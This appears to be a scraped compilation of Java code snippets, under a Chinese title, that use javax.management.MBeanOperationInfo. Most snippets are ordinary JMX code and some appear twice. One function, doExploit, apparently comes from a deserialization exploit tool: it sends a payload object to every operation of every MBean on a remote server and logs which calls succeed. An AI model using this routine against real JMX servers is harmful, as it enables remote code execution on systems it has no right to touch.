java类javax.management.MBeanOperationInfo的实例源码

/**
 * Creates an instance of {@code ModelMBeanOperationInfo} for the
 * given method. Populates the parameter info for the operation.
 * @param method the {@code Method} to create a {@code ModelMBeanOperationInfo} for
 * @param name the logical name for the operation (method name or property name);
 * not used by the default implementation but possibly by subclasses
 * @param beanKey the key associated with the MBean in the beans map
 * of the {@code MBeanExporter}
 * @return the {@code ModelMBeanOperationInfo}
 */
protected ModelMBeanOperationInfo createModelMBeanOperationInfo(Method method, String name, String beanKey) {
    MBeanParameterInfo[] params = getOperationParameters(method, beanKey);
    if (params.length == 0) {
        return new ModelMBeanOperationInfo(getOperationDescription(method, beanKey), method);
    }
    else {
        return new ModelMBeanOperationInfo(method.getName(),
            getOperationDescription(method, beanKey),
            getOperationParameters(method, beanKey),
            method.getReturnType().getName(),
            MBeanOperationInfo.UNKNOWN);
    }
}

public void visitOperation(String operationName,
        M operation) {
    MBeanOperationInfo mboi =
            getMBeanOperationInfo(operationName, operation);

    ops.add(mboi);
}

/** Make an MBeanInfo based on the attributes and operations
 *  found in the interface. */
MBeanInfo makeMBeanInfo(Class<?> mbeanInterface,
        String description) {
    final MBeanAttributeInfo[] attrArray =
            attrs.toArray(new MBeanAttributeInfo[0]);
    final MBeanOperationInfo[] opArray =
            ops.toArray(new MBeanOperationInfo[0]);
    final String interfaceClassName =
            "interfaceClassName=" + mbeanInterface.getName();
    final Descriptor classNameDescriptor =
            new ImmutableDescriptor(interfaceClassName);
    final Descriptor mbeanDescriptor = getBasicMBeanDescriptor();
    final Descriptor annotatedDescriptor =
            Introspector.descriptorForElement(mbeanInterface);
    final Descriptor descriptor =
        DescriptorCache.getInstance().union(
            classNameDescriptor,
            mbeanDescriptor,
            annotatedDescriptor);

    return new MBeanInfo(mbeanInterface.getName(),
            description,
            attrArray,
            null,
            opArray,
            null,
            descriptor);
}

public ModelMBeanOperationInfo getOperation(String inName)
throws MBeanException, RuntimeOperationsException {
    ModelMBeanOperationInfo retInfo = null;
    if (MODELMBEAN_LOGGER.isLoggable(Level.FINER)) {
        MODELMBEAN_LOGGER.logp(Level.FINER,
                ModelMBeanInfoSupport.class.getName(),
                "getOperation(String)", "Entry");
    }
    if (inName == null) {
        throw new RuntimeOperationsException(
                new IllegalArgumentException("inName is null"),
                "Exception occurred trying to get the " +
                "ModelMBeanOperationInfo of the MBean");
    }
    MBeanOperationInfo[] operList = modelMBeanOperations; //this.getOperations();
    int numOpers = 0;
    if (operList != null) numOpers = operList.length;

    for (int i=0; (i < numOpers) && (retInfo == null); i++) {
        if (inName.equals(operList[i].getName())) {
            retInfo = ((ModelMBeanOperationInfo) operList[i].clone());
        }
    }
    if (MODELMBEAN_LOGGER.isLoggable(Level.FINER)) {
        MODELMBEAN_LOGGER.logp(Level.FINER,
                ModelMBeanInfoSupport.class.getName(),
                "getOperation(String)", "Exit");
    }

    return retInfo;
}

/**
 * Deserializes a {@link ModelMBeanInfoSupport} from an {@link ObjectInputStream}.
 */
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
    if (compat) {
        // Read an object serialized in the old serial form
        //
        ObjectInputStream.GetField fields = in.readFields();
        modelMBeanDescriptor =
                (Descriptor) fields.get("modelMBeanDescriptor", null);
        if (fields.defaulted("modelMBeanDescriptor")) {
            throw new NullPointerException("modelMBeanDescriptor");
        }
        modelMBeanAttributes =
                (MBeanAttributeInfo[]) fields.get("mmbAttributes", null);
        if (fields.defaulted("mmbAttributes")) {
            throw new NullPointerException("mmbAttributes");
        }
        modelMBeanConstructors =
                (MBeanConstructorInfo[]) fields.get("mmbConstructors", null);
        if (fields.defaulted("mmbConstructors")) {
            throw new NullPointerException("mmbConstructors");
        }
        modelMBeanNotifications =
                (MBeanNotificationInfo[]) fields.get("mmbNotifications", null);
        if (fields.defaulted("mmbNotifications")) {
            throw new NullPointerException("mmbNotifications");
        }
        modelMBeanOperations =
                (MBeanOperationInfo[]) fields.get("mmbOperations", null);
        if (fields.defaulted("mmbOperations")) {
            throw new NullPointerException("mmbOperations");
        }
    } else {
        // Read an object serialized in the new serial form
        //
        in.defaultReadObject();
    }
}

private static MBeanOperationInfo[]
        operationArray(OpenMBeanOperationInfo[] src) {
    if (src == null)
        return null;
    MBeanOperationInfo[] dst = new MBeanOperationInfo[src.length];
    System.arraycopy(src, 0, dst, 0, src.length);
    return dst;
}

private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}

public AbstractDynamicWrapper(final Module module, final boolean writable, final ModuleIdentifier moduleIdentifier,
        final ObjectName thisWrapperObjectName, final MBeanOperationInfo[] operations,
        final MBeanServer internalServer, final MBeanServer configMBeanServer) {
    this.module = module;
    this.moduleIdentifier = moduleIdentifier;
    this.internalServer = internalServer;
    this.objectNameInternal = thisWrapperObjectName;
    // register the actual instance into an mbean server.
    registerActualModule(objectNameInternal, configMBeanServer);
    Set<Class<?>> jmxInterfaces = InterfacesHelper.getMXInterfaces(module.getClass());
    this.attributeHolderMap = buildMBeanInfo(writable, moduleIdentifier, jmxInterfaces, objectNameInternal);
    this.mbeanInfo = generateMBeanInfo(module, attributeHolderMap, operations, jmxInterfaces);
}

public void visitOperation(String operationName,
        M operation) {
    MBeanOperationInfo mboi =
            getMBeanOperationInfo(operationName, operation);

    ops.add(mboi);
}

/** Make an MBeanInfo based on the attributes and operations
 *  found in the interface. */
MBeanInfo makeMBeanInfo(Class<?> mbeanInterface,
        String description) {
    final MBeanAttributeInfo[] attrArray =
            attrs.toArray(new MBeanAttributeInfo[0]);
    final MBeanOperationInfo[] opArray =
            ops.toArray(new MBeanOperationInfo[0]);
    final String interfaceClassName =
            "interfaceClassName=" + mbeanInterface.getName();
    final Descriptor classNameDescriptor =
            new ImmutableDescriptor(interfaceClassName);
    final Descriptor mbeanDescriptor = getBasicMBeanDescriptor();
    final Descriptor annotatedDescriptor =
            Introspector.descriptorForElement(mbeanInterface);
    final Descriptor descriptor =
        DescriptorCache.getInstance().union(
            classNameDescriptor,
            mbeanDescriptor,
            annotatedDescriptor);

    return new MBeanInfo(mbeanInterface.getName(),
            description,
            attrArray,
            null,
            opArray,
            null,
            descriptor);
}